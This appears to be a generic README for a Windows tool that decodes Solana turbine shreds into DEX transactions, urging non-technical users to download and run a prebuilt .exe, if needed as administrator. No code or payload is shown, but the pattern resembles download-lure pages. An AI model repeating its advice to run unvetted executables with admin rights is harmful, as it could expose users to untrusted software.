This application helps you turn raw Solana turbine shreds into readable DEX transactions. It works with popular Solana tools like Pumpfun, Jupiter, Raydium, and SPL Token. You do not need to install or understand the full Solana ledger to use it.
The app handles:
- Custom shred parsing
- Error recovery using Reed-Solomon forward error correction
- Instruction decoding for multiple platforms
It is designed for people who want a simple way to see Solana transaction details without deep technical setup.
Before downloading, make sure your Windows computer meets these needs:
- Windows 10 or later (64-bit)
- At least 4 GB of RAM
- 100 MB free disk space
- Internet connection to download the app
No special hardware or software is needed beyond this.
Follow these steps to get the app running on your Windows PC.
Click the button below to go to the official release page:
This page lists all available versions. Choose the latest stable release for Windows.
Look for the release section with a file ending in .exe or .zip. Usually, this will be named something like:
shredstream-decode-example-vX.X.X-windows.exe- Or
shredstream-decode-example-vX.X.X-windows.zip
Click the link to start downloading.
- If it is an
.exefile, double-click it to run the installer or launch the app. - If it is a
.zipfile, right-click and select “Extract All” to unpack it. Then open the folder and find the.exefile inside.
If an installer opens, follow the steps shown on screen to install the app. If you run the app directly, it will open the main window.
Once open, you can upload Solana turbine shred data files or connect to a stream source if supported. The app will process the data and display decoded transactions.
- Simple Parsing: Converts raw Solana shreds into easy-to-understand transactions.
- Error Correction: Uses advanced error correction to recover lost data so you get complete results.
- Multi-DEX Support: Works with popular platforms including Jupiter, Raydium, Pumpfun, and SPL Token.
- No Large Ledger Needed: Does not require full Solana ledger downloads or setups.
- Raw UDP Data Handling: Processes live UDP data streams from Solana turbine nodes.
This section explains the basic steps inside the app after installation.
- Click Open File to select a local shred data file.
- Or choose Connect Stream to input a network address for live UDP data.
After loading data, hit Decode. The app will:
- Parse shreds
- Apply error correction
- Decode instructions to readable transactions
Decoded transactions show in a list. You can:
- Search by token, transaction ID, or instruction type
- Export results as CSV for further analysis
- Filter by supported DEX platforms
- If the app fails to open, ensure you have the correct Windows version and permissions.
- Slow or missing data could mean your UDP stream is not reachable or the file is corrupted.
- Check your internet connection during download to avoid incomplete files.
- If decoding results do not appear, confirm the data source is valid Solana shred data.
This tool fits users who want to:
- Understand Solana network events in depth without complex setups.
- Explore transactions from multiple decentralized exchanges (DEXs) on Solana.
- Work with data recovered from live Solana turbine nodes.
It is ideal for analysts, researchers, or developers working around Solana’s raw data and DEX transactions.
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Visit the release page and download the latest version here:
Download Releases -
The app supports Windows 64-bit systems only at this time.
- Run the app as administrator if you experience permission issues.
- Keep the app updated by checking the release page periodically.
- Use exported CSV files in spreadsheet software like Excel to study transaction data.
The app accepts raw turbine shred files, which are packets of Solana blockchain data. These shreds include:
- Transaction instructions
- Error-corrected data pieces
- Network-specific metadata
The app uses Reed-Solomon algorithms to rebuild missing data and displays results in clear, human-readable formats.
This repository contains all source code, but no coding skills are needed to use the software. Developers interested in contributing can visit the GitHub page to view code, submit issues, or help improve the tool.